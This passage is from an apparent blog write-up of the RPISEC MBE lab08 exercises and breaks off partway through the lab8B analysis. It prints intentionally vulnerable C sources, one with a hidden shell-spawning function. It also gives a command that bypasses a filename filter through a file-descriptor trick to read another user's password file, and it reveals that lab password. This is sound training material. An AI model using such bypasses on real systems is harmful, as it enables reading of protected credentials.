{"id":425,"date":"2018-03-02T17:40:28","date_gmt":"2018-03-02T17:40:28","guid":{"rendered":"https:\/\/devel0pment.de\/?p=425"},"modified":"2018-05-20T19:54:37","modified_gmt":"2018-05-20T19:54:37","slug":"rpisec-mbe-writeup-lab08-misc-and-stack-cookies","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=425","title":{"rendered":"RPISEC\/MBE: writeup lab08 (Misc and Stack Cookies)"},"content":{"rendered":"<p>While <a href=\"https:\/\/devel0pment.de\/?p=386\">the last lab<\/a> introduced the subject of <i>Heap Exploitation<\/i>, this lab focuses on <i>Misc and Stack Cookies<\/i>.<\/p>\n<p>The lab contains three levels again ranging from C to A:<br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=425#lab8C\">lab8C<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=425#lab8B\">lab8B<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=425#lab8A\">lab8A<\/a><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"lab8C\">lab8C<\/h1>\n<p>The username for the first level of this lab is <span style=\"color: #ff0000;\">lab8C<\/span> with the password <span style=\"color: #ff0000;\">lab08start<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlogin as: lab8C\r\nlab8C@localhost's password: (lab08start)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n<\/pre>\n<p>We start by inspecting the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [13,14,15,16,17,19,42,75,90,97,97,123]; title: ; notranslate\" title=\"\">\r\nlab8C@warzone:\/levels\/lab08$ cat lab8C.c\r\n\/*\r\n * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8C lab8C.c\r\n *\/\r\n\r\n#include&lt;errno.h&gt;\r\n#include&lt;fcntl.h&gt;\r\n#include&lt;stdio.h&gt;\r\n#include&lt;stdlib.h&gt;\r\n#include&lt;string.h&gt;\r\n#include&lt;sys\/types.h&gt;\r\n#include&lt;unistd.h&gt;\r\n\r\nstruct fileComp {\r\n        char fileContents1&#x5B;255];\r\n        char fileContents2&#x5B;255];\r\n        int cmp;\r\n};\r\n\r\nchar* readfd(int fd)\r\n{\r\n        \/\/ Find length of file\r\n        int size = lseek(fd, 0, SEEK_END);\r\n        if(size &gt;= 255)\r\n        {\r\n                printf(&quot;Your file is too big.\\n&quot;);\r\n                exit(EXIT_FAILURE);\r\n        }\r\n        \/\/ Reset fd to beginning of file\r\n        lseek(fd, 0, SEEK_SET);\r\n        \/\/ Allocate space for the file and a null byte\r\n        char* fileContents = malloc((size+1) &amp; 0xff);\r\n        if(!fileContents)\r\n        {\r\n                printf(&quot;Could not allocate space for file contents\\n&quot;);\r\n                exit(EXIT_FAILURE);\r\n        }\r\n        \/\/ Read the file contents into the buffer\r\n        int numRead = read(fd, fileContents, size &amp; 0xff);\r\n        return fileContents;\r\n}\r\n\r\nint getfd(char* arg)\r\n{\r\n        if(arg&#x5B;0] != '-' || arg&#x5B;1] != 'f' || arg&#x5B;3] != '=')\r\n        {\r\n                printf(&quot;Invalid formatting in argument \\&quot;%s\\&quot;\\n&quot;, arg);\r\n                return -1;\r\n        }\r\n\r\n        int fd;\r\n        if(arg&#x5B;2] == 'n')\r\n        {\r\n                \/\/ O_NOFOLLOW means that it won't follow symlinks. Sorry.\r\n                fd = open(arg+4, O_NOFOLLOW | O_RDONLY);\r\n                if(fd == -1)\r\n                {\r\n                        printf(&quot;File could not be opened\\n&quot;);\r\n                        return -1;\r\n                }\r\n        }\r\n        else if(arg&#x5B;2] == 'd')\r\n        {\r\n                errno = 0;\r\n                fd = atoi(arg+4);\r\n        }\r\n        else\r\n        {\r\n                printf(&quot;Invalid formatting in argument \\&quot;%s\\&quot;\\n&quot;, arg);\r\n                return -1;\r\n        }\r\n\r\n        return fd;\r\n}\r\n\r\nstruct fileComp* comparefds(int fd1, int fd2)\r\n{\r\n        struct fileComp* fc = malloc(sizeof(struct fileComp));\r\n        if(!fc)\r\n        {\r\n                printf(&quot;Could not allocate space for file contents\\n&quot;);\r\n                exit(EXIT_FAILURE);\r\n        }\r\n\r\n        strcpy(fc-&gt;fileContents1, readfd(fd1));\r\n        strcpy(fc-&gt;fileContents2, readfd(fd2));\r\n        fc-&gt;cmp = strcmp(fc-&gt;fileContents1, fc-&gt;fileContents2);\r\n        return fc;\r\n}\r\n\r\nchar* securityCheck(char* arg, char* s)\r\n{\r\n        if(strstr(arg, &quot;.pass&quot;))\r\n                return &quot;&lt;&lt;&lt;For security reasons, your filename has been blocked&gt;&gt;&gt;&quot;;\r\n        return s;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n        if(argc != 3)\r\n        {\r\n                printf(&quot;Hi. This program will do a lexicographical comparison of the \\\r\ncontents of two files. It has the bonus functionality of being \\\r\nable to process either filenames or file descriptors.\\n&quot;);\r\n                printf(&quot;Usage: %s {-fn=&lt;filename&gt;|-fd=&lt;file_descriptor&gt;} {-fn=&lt;filename&gt;|-fd=&lt;file_descriptor&gt;}\\n&quot;, argv&#x5B;0]);\r\n                return EXIT_FAILURE;\r\n        }\r\n\r\n        int fd1 = getfd(argv&#x5B;1]);\r\n        int fd2 = getfd(argv&#x5B;2]);\r\n        if(fd1 == -1 || fd2 == -1)\r\n        {\r\n                printf(&quot;Usage: %s {-fn=&lt;filename&gt;|-fd=&lt;file_descriptor&gt;} {-fn=&lt;filename&gt;|-fd=&lt;file_descriptor&gt;}\\n&quot;, argv&#x5B;0]);\r\n                return EXIT_FAILURE;\r\n        }\r\n        if(fd1 == 0 || fd2 == 0)\r\n        {\r\n                printf(&quot;Invalid fd argument.\\n&quot;);\r\n                printf(&quot;(We're still fixing some bugs with using STDIN.)\\n&quot;);\r\n                printf(&quot;Usage: %s {-fn=&lt;filename&gt;|-fd=&lt;file_descriptor&gt;} {-fn=&lt;filename&gt;|-fd=&lt;file_descriptor&gt;}\\n&quot;, argv&#x5B;0]);\r\n                return EXIT_FAILURE;\r\n        }\r\n\r\n        struct fileComp* fc = comparefds(fd1, fd2);\r\n\r\n        printf(\r\n                        &quot;\\&quot;%s\\&quot; is lexicographically %s \\&quot;%s\\&quot;\\n&quot;,\r\n                        securityCheck(argv&#x5B;1], fc-&gt;fileContents1),\r\n                        fc-&gt;cmp &gt; 0 ? &quot;after&quot; : (fc-&gt;cmp &lt; 0 ? &quot;before&quot; : &quot;equivalent to&quot;),\r\n                        securityCheck(argv&#x5B;2], fc-&gt;fileContents2));\r\n\r\n        return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; A struct called <code>fileComp<\/code> is defined which contains two buffers and an integer (lines 13-17).<br \/>\n&#8211;&gt; Within the <code>main<\/code> function (line 97) two arguments to the program are expected.<br \/>\n&#8211;&gt; Both arguments are supposed to identify a file by providing either a filename (<code>-fn<\/code>) or a file descriptor (<code>-fd<\/code>).<br \/>\n&#8211;&gt; The function <code>getfd<\/code> (line 42) is used to get the corresponding file descriptor from the provided options.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If a filename is provided (<code>-fn<\/code>) the file is opened using the function <code>open<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If a file descriptor is provided (<code>-fd<\/code>) the file descriptor is simply returned as an integer.<br \/>\n&#8211;&gt; After both file descriptors are fetched and are valid the function <code>comparefds<\/code> is called (line 123).<br \/>\n&#8211;&gt; Within <code>comparefds<\/code> (line 75) the struct <code>fileComp<\/code> is instantiated and the contents of both files are copied into the struct object using <code>strcpy<\/code> and the user defined function <code>readfd<\/code>.<br \/>\n&#8211;&gt; The function <code>readfd<\/code> (line 19) allocates a buffer, reads the file-contents and returns the buffer containing the file-contents.<br \/>\n&#8211;&gt; At last within the <code>main<\/code> function <code>printf<\/code> is used to display the comparison result. The contents of the file are filtered by the function <code>securityCheck<\/code>.<br \/>\n&#8211;&gt; This function (line 90) checks if the provided option contains the string <code>\".pass\"<\/code>. If the string is not found, the actual contents of the file are returned, otherwise a message stating that the filename has been blocked.<\/p>\n<p>Where is the vulnerability within the program?<br \/>\nAs usual our goal is to read the <code>.pass<\/code> file in the home-directory from the user of the next level (in this case <code>\/home\/lab8B\/.pass<\/code>). The program enables us to provide two files which contents are compared and also displayed:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8C@warzone:\/levels\/lab08$ echo -n &quot;test1&quot; &gt; \/tmp\/test1\r\nlab8C@warzone:\/levels\/lab08$ echo -n &quot;test2&quot; &gt; \/tmp\/test2\r\nlab8C@warzone:\/levels\/lab08$ .\/lab8C -fn=\/tmp\/test1 -fn=\/tmp\/test2\r\n&quot;test1&quot; is lexicographically before &quot;test2&quot;\r\n<\/pre>\n<p>But we cannot simply read the <code>.pass<\/code> file because the function <code>securityCheck<\/code> tests if the filename contains the string <code>.pass<\/code> and filters the output:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8C@warzone:\/levels\/lab08$ .\/lab8C -fn=\/tmp\/test1 -fn=\/home\/lab8B\/.pass\r\n&quot;test1&quot; is lexicographically after &quot;&lt;&lt;&lt;For security reasons, your filename has been blocked&gt;&gt;&gt;&quot;\r\n<\/pre>\n<p>Though the program enables us not only to provide a filename but also a file descriptor, which is simply an integer. The first three file descriptors are fixed:<br \/>\n&#8211;&gt; <code>0 = stdin<\/code><br \/>\n&#8211;&gt; <code>1 = stdout<\/code><br \/>\n&#8211;&gt; <code>2 = stderr<\/code><\/p>\n<p>When a new file is opened (for example by using <code>open<\/code>), the next available file descriptor is used: <code>3<\/code>, <code>4<\/code>, <code>5<\/code>, &#8230;<\/p>\n<p>This means that when we provide <code>\/home\/lab8B\/.pass<\/code> as the first file and the file descriptor <code>3<\/code> as the second file, these are both the same file. The difference is that the file-contents of the second file will not be filtered because our option does not containg the string <code>.pass<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8C@warzone:\/levels\/lab08$ .\/lab8C -fn=\/home\/lab8B\/.pass -fd=3\r\n&quot;&lt;&lt;&lt;For security reasons, your filename has been blocked&gt;&gt;&gt;&quot; is lexicographically equivalent to &quot;3v3ryth1ng_Is_@_F1l3\r\n&quot;\r\n<\/pre>\n<p>Done \ud83d\ude42 The password for the next level is <code>3v3ryth1ng_Is_@_F1l3<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab8B\">lab8B<\/h1>\n<p>We can connect to the level using the previously achieved credentials <span style=\"color: #ff0000;\">lab8B<\/span> with the password <span style=\"color: #ff0000;\">3v3ryth1ng_Is_@_F1l3<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlogin as: lab8B\r\nlab8B@localhost's password: (3v3ryth1ng_Is_@_F1l3)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n<\/pre>\n<p>As usual we start by viewing the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [11,12,13,14,15,16,17,18,19,20,21,22,24,25,26,27,31,47,66,96,131,146,163,174,202,206,207,208,229]; title: ; notranslate\" title=\"\">\r\nlab8B@warzone:\/levels\/lab08$ cat lab8B.c\r\n\/*\r\n * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8B lab8B.c\r\n *\/\r\n\r\n#include&lt;stdio.h&gt;\r\n#include&lt;stdlib.h&gt;\r\n#include&lt;string.h&gt;\r\n\r\n#define MAX_FAVES 10\r\n\r\nstruct vector {\r\n        void (*printFunc)(struct vector*);\r\n        char a;\r\n        short b;\r\n        unsigned short c;\r\n        int d;\r\n        unsigned int e;\r\n        long f;\r\n        unsigned long g;\r\n        long long h;\r\n        unsigned long long i;\r\n};\r\n\r\nstruct vector v1;\r\nstruct vector v2;\r\nstruct vector v3;\r\nstruct vector* faves&#x5B;MAX_FAVES];\r\n\r\nvoid printVector(struct vector* v);\r\n\r\nvoid printMenu()\r\n{\r\n        printf(&quot;+------------------------------------------------------------+\\n&quot;);\r\n        printf(&quot;|                                                            |\\n&quot;);\r\n        printf(&quot;|  1. Enter data                                          :&gt; |\\n&quot;);\r\n        printf(&quot;|  2. Sum vectors                                         :] |\\n&quot;);\r\n        printf(&quot;|  3. Print vector                                        :3 |\\n&quot;);\r\n        printf(&quot;|  4. Save sum to favorites                               8) |\\n&quot;);\r\n        printf(&quot;|  5. Print favorites                                     :O |\\n&quot;);\r\n        printf(&quot;|  6. Load favorite                                       :$ |\\n&quot;);\r\n        printf(&quot;|  9. Get help                                            :D |\\n&quot;);\r\n        printf(&quot;|                                                            |\\n&quot;);\r\n        printf(&quot;+------------------------------------------------------------+\\n&quot;);\r\n        printf(&quot;I COMMAND YOU TO ENTER YOUR COMMAND: &quot;);\r\n}\r\n\r\nstruct vector* vectorSel()\r\n{\r\n        printf(&quot;Which vector? &quot;);\r\n        char sel;\r\n        while((sel = getchar()) == '\\n'); \/\/ I love C.\r\n        switch(sel)\r\n        {\r\n                case '1':\r\n                        return &amp;v1;\r\n                case '2':\r\n                        return &amp;v2;\r\n                case '3':\r\n                        return &amp;v3;\r\n                default:\r\n                        printf(&quot;\\nBAD VECTOR SELECTION\\n&quot;);\r\n                        exit(EXIT_FAILURE);\r\n        }\r\n}\r\n\r\nvoid enterData()\r\n{\r\n        struct vector* v = vectorSel();\r\n        if(v == &amp;v3)\r\n        {\r\n                printf(&quot;Please don't try to manually enter data into the sum.\\n&quot;);\r\n                return;\r\n        }\r\n        printf(&quot;Data entry time!\\n&quot;);\r\n        printf(&quot;char a: &quot;);\r\n        while((v-&gt;a = getchar()) == '\\n'); \/\/ Still love C.\r\n        printf(&quot;short b: &quot;);\r\n        scanf(&quot;%hd&quot;, &amp;(v-&gt;b));\r\n        printf(&quot;unsigned short c: &quot;);\r\n        scanf(&quot;%hu&quot;, &amp;(v-&gt;c));\r\n        printf(&quot;int d: &quot;);\r\n        scanf(&quot;%d&quot;, &amp;(v-&gt;d));\r\n        printf(&quot;unsigned int e: &quot;);\r\n        scanf(&quot;%u&quot;, &amp;(v-&gt;e));\r\n        printf(&quot;long f: &quot;);\r\n        scanf(&quot;%ld&quot;, &amp;(v-&gt;f));\r\n        printf(&quot;unsigned long g: &quot;);\r\n        scanf(&quot;%lu&quot;, &amp;(v-&gt;g));\r\n        printf(&quot;long long h: &quot;);\r\n        scanf(&quot;%lld&quot;, &amp;(v-&gt;h));\r\n        printf(&quot;unsigned long long i: &quot;);\r\n        scanf(&quot;%llu&quot;, &amp;(v-&gt;i));\r\n        v-&gt;printFunc = printVector;\r\n}\r\n\r\nvoid sumVectors()\r\n{\r\n        if(v1.a==0 || v2.a==0 ||\r\n                        v1.b==0 || v2.b==0 ||\r\n                        v1.c==0 || v2.c==0 ||\r\n                        v1.d==0 || v2.d==0 ||\r\n                        v1.e==0 || v2.e==0 ||\r\n                        v1.f==0 || v2.f==0 ||\r\n                        v1.g==0 || v2.g==0 ||\r\n                        v1.h==0 || v2.h==0 ||\r\n                        v1.i==0 || v2.i==0)\r\n        {\r\n                printf(&quot;You didn't even set the addends... :(\\n&quot;);\r\n                return;\r\n        }\r\n        v3.a = v1.a + v2.a;\r\n        v3.b = v1.b + v2.b;\r\n        v3.c = v1.c + v2.c;\r\n        v3.d = v1.d + v2.d;\r\n        v3.e = v1.e + v2.e;\r\n        v3.f = v1.f + v2.f;\r\n        v3.g = v1.g + v2.g;\r\n        v3.h = v1.h + v2.h;\r\n        v3.i = v1.i + v2.i;\r\n        printf(&quot;Summed.\\n&quot;);\r\n}\r\n\r\n\/*\r\n * Bonus points if you don't use this function.\r\n *\/\r\nvoid thisIsASecret()\r\n{\r\n        system(&quot;\/bin\/sh&quot;);\r\n}\r\n\r\nvoid printVector(struct vector* v)\r\n{\r\n        printf(&quot;Address: %p\\n&quot;, v);\r\n        printf(&quot;void printFunc: %p\\n&quot;, v-&gt;printFunc);\r\n        printf(&quot;char a: %c\\n&quot;, v-&gt;a);\r\n        printf(&quot;short b: %hd\\n&quot;, v-&gt;b);\r\n        printf(&quot;unsigned short c: %hu\\n&quot;, v-&gt;c);\r\n        printf(&quot;int d: %d\\n&quot;, v-&gt;d);\r\n        printf(&quot;unsigned int e: %u\\n&quot;, v-&gt;e);\r\n        printf(&quot;long f: %ld\\n&quot;, v-&gt;f);\r\n        printf(&quot;unsigned long g: %lu\\n&quot;, v-&gt;g);\r\n        printf(&quot;long long h: %lld\\n&quot;, v-&gt;h);\r\n        printf(&quot;unsigned long long i: %llu\\n&quot;, v-&gt;i);\r\n}\r\n\r\nvoid fave()\r\n{\r\n        unsigned int i;\r\n        for(i=0; i&lt;MAX_FAVES; i++)\r\n                if(!faves&#x5B;i])\r\n                        break;\r\n        if(i == MAX_FAVES)\r\n                printf(&quot;You have too many favorites.\\n&quot;);\r\n        else\r\n        {\r\n                faves&#x5B;i] = malloc(sizeof(struct vector));\r\n                memcpy(faves&#x5B;i], (int*)(&amp;v3)+i, sizeof(struct vector));\r\n                printf(&quot;I see you added that vector to your favorites, \\\r\nbut was it really your favorite?\\n&quot;);\r\n        }\r\n}\r\n\r\nvoid printFaves()\r\n{\r\n        unsigned int i;\r\n        for(i=0; i&lt;MAX_FAVES; i++)\r\n                if(faves&#x5B;i])\r\n                        printVector(faves&#x5B;i]);\r\n                else\r\n                        break;\r\n        printf(&quot;Printed %u vectors.\\n&quot;, i);\r\n}\r\n\r\nvoid loadFave()\r\n{\r\n        printf(&quot;Which favorite? &quot;);\r\n        unsigned int i;\r\n        scanf(&quot;%u&quot;, &amp;i);\r\n        if(i &gt;= MAX_FAVES)\r\n        {\r\n                printf(&quot;Index out of bounds\\n&quot;);\r\n                return;\r\n        }\r\n\r\n        struct vector* v = vectorSel();\r\n        if(v == &amp;v3)\r\n        {\r\n                printf(&quot;Please don't try to manually enter data into the sum.\\n&quot;);\r\n                return;\r\n        }\r\n        memcpy(v, faves&#x5B;i], sizeof(v));\r\n}\r\n\r\nvoid help()\r\n{\r\n        printf(&quot;\\\r\nThis program adds two vectors together and stores it in a third vector. You \\\r\ncan then add the sum to your list of favorites, or load a favorite back into \\\r\none of the addends.\\n&quot;);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n        char sel;\r\n        printMenu();\r\n        v1.printFunc = printf;\r\n        v2.printFunc = printf;\r\n        v3.printFunc = printf;\r\n        struct vector* v;\r\n        while((sel = getchar()) &amp;&amp; (sel == '\\n' || getchar())) \/\/ Magic ;^)\r\n        {\r\n                if(sel == '\\n')\r\n                        continue;\r\n\r\n                switch(sel)\r\n                {\r\n                        case '0':\r\n                                printf(&quot;OK, bye.\\n&quot;);\r\n                                return EXIT_SUCCESS;\r\n                        case '1':\r\n                                enterData();\r\n                                break;\r\n                        case '2':\r\n                                sumVectors();\r\n                                break;\r\n                        case '3':\r\n                                v = vectorSel();\r\n                                \/\/printf(&quot;Calling %p\\n&quot;, v-&gt;printFunc);\r\n                                v-&gt;printFunc(v);\r\n                                break;\r\n                        case '4':\r\n                                fave();\r\n                                break;\r\n                        case '5':\r\n                                printFaves();\r\n                                break;\r\n                        case '6':\r\n                                loadFave();\r\n                                break;\r\n                        case '9':\r\n                                help();\r\n                                break;\r\n                        default:\r\n                                printf(&quot;\\nThat was bad input. \\\r\nJust like your futile attempt to pwn this.\\n&quot;);\r\n                                return EXIT_FAILURE;\r\n                }\r\n                printMenu();\r\n        }\r\n        return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; A struct called <code>vector<\/code> is defined on lines 11-22 containing a member-function <code>printFunc<\/code> and 9 member variables (<code>a<\/code> &#8211; <code>i<\/code>) with varying types.<br \/>\n&#8211;&gt; Following this three global <code>struct vector<\/code> are defined (lines 24-26) as well as an array named <code>faves<\/code> holding pointers to <code>struct vector<\/code> instances (line 27).<br \/>\n&#8211;&gt; Within the <code>main<\/code> function (line 202) a menu is displayed using the function <code>printMenu<\/code> (line 31) giving the user the following options:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Enter data \/ Sum vectors \/ Print vector<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Save sum to favorites \/ Print favorites \/ Load favorite<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Get help<br \/>\n&#8211;&gt; After the menu is displayed within the <code>main<\/code> function, the member-function of all three global vectors is set to <code>printf<\/code> (lines 206-208).<br \/>\n&#8211;&gt; When <code>1. Enter data<\/code> is selected, the function <code>enterData<\/code> (line 66) calls <code>vectorSel<\/code> (line 47) to let the user select one of the three globally defined vectors.<br \/>\n&#8211;&gt; After this the user can input a value for every member variable of the vector (<code>scanf<\/code>) and the member-function <code>printFunc<\/code> is set to <code>printVector<\/code> (line 131).<br \/>\n&#8211;&gt; When <code>2. Sum vectors<\/code> is selected, the function <code>sumVectors<\/code> (line 96) is called adding each member variable of <code>v1<\/code> and <code>v2<\/code> and storing the result in <code>v3<\/code>.<br \/>\n&#8211;&gt; When choosing <code>3. Print vector<\/code> the user can select on of three vectors on which the member-function <code>printFunc<\/code> is called (line 229).<br \/>\n&#8211;&gt; <code>4. Save sum to favorites<\/code> calls <code>fave<\/code> (line 146), which searches the next free entry within the global array <code>faves<\/code>, allocates memory for a new struct <code>vector<\/code> instance and uses <code>memcpy<\/code> to fill the newly allocated memory.<br \/>\n&#8211;&gt; <code>5. Print favorites<\/code> calls <code>printFaves<\/code> (line 163) iterating over the <code>faves<\/code> array calling <code>printVector<\/code> on all allocated pointers.<br \/>\n&#8211;&gt; When <code>6. Load favorite<\/code> is selected, <code>loadFave<\/code> (line 174) is called which allows the user to store a favorite vector from the array <code>faves<\/code> to <code>v1<\/code> or <code>v2<\/code>.<\/p>\n<p>Where is the vulnerability within the program?<\/p>\n<p>When reading the source code the following line within the function <code>fave<\/code> attracted my attention:<\/p>\n<pre class=\"brush: cpp; first-line: 155; highlight: [157]; title: ; notranslate\" title=\"\">\r\n...\r\n                faves&#x5B;i] = malloc(sizeof(struct vector));\r\n                memcpy(faves&#x5B;i], (int*)(&amp;v3)+i, sizeof(struct vector));\r\n...\r\n<\/pre>\n<p>According to the menu selection the function should save the sum (this is <code>v3<\/code>) to our favorites. The call to <code>malloc<\/code> allocates memory for the new struct instance. The address of this memory is stored within the pointer-array <code>faves<\/code> at the index <code>i<\/code>.<\/p>\n<p>Then the contents of <code>v3<\/code> should have been copied to the newly allocated memory. But the second argument (the <code>source<\/code>) of the call to <code>memcpy<\/code> is <code>(int*)(&v3)+i<\/code>!? This means that when <code>i<\/code> is greater than zero the copy-operation does not begin at the address of <code>v3<\/code> but <code>i * 4<\/code> bytes after the beginning of <code>v3<\/code>. Let&#8217;s run the program using <code>gdb<\/code> and see what impact this has:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8B@warzone:\/levels\/lab08$ gdb .\/lab8B\r\nReading symbols from .\/lab8B...(no debugging symbols found)...done.\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab08\/lab8B\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND:\r\n<\/pre>\n<p>At first let&#8217;s enter some data for <code>v1<\/code> and <code>v2<\/code> and save the sum in <code>v3<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 1\r\nWhich vector? 1\r\nData entry time!\r\nchar a: X\r\nshort b: 2222\r\nunsigned short c: 3333333\r\nint d: 4444444\r\nunsigned int e: 555555\r\nlong f: 6666666\r\nunsigned long g: 777777\r\nlong long h: 888888\r\nunsigned long long i: 9999999\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 1\r\nWhich vector? 2\r\nData entry time!\r\nchar a: Y\r\nshort b: 1\r\nunsigned short c: 1\r\nint d: 1\r\nunsigned int e: 1\r\nlong f: 1\r\nunsigned long g: 1\r\nlong long h: 1\r\nunsigned long long i: 1\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 2\r\nSummed.\r\n<\/pre>\n<p>If we now print the <code>v3<\/code> we should see the result:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 3\r\nWhich vector? 3\r\n\u2592\u2592b\u2592\u2592+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND:\r\n<\/pre>\n<p>Mh!? That is not the function <code>printVector<\/code> being called. But, wait! Do you remember this lines within the <code>main<\/code> function:<\/p>\n<pre class=\"brush: cpp; first-line: 206; title: ; notranslate\" title=\"\">\r\n        v1.printFunc = printf;\r\n        v2.printFunc = printf;\r\n        v3.printFunc = printf;\r\n<\/pre>\n<p>The member-function <code>printFunc<\/code> has been initialized with <code>printf<\/code>. And how is this function being called?<\/p>\n<pre class=\"brush: cpp; first-line: 227; highlight: [229]; title: ; notranslate\" title=\"\">\r\n                                v = vectorSel();\r\n                                \/\/printf(&quot;Calling %p\\n&quot;, v-&gt;printFunc);\r\n                                v-&gt;printFunc(v);\r\n<\/pre>\n<p>With <code>v->printFunc(v)<\/code>! As <code>printFunc<\/code> was set to <code>printf<\/code> this equals <code>printf(v)<\/code>. Because <code>printf<\/code> expects the argument to be a format string, it will simply print the bytes at this address until a null-byte is reached. And what bytes are stored at the address of <code>v<\/code>?<\/p>\n<pre class=\"brush: cpp; first-line: 11; title: ; notranslate\" title=\"\">\r\nstruct vector {\r\n        void (*printFunc)(struct 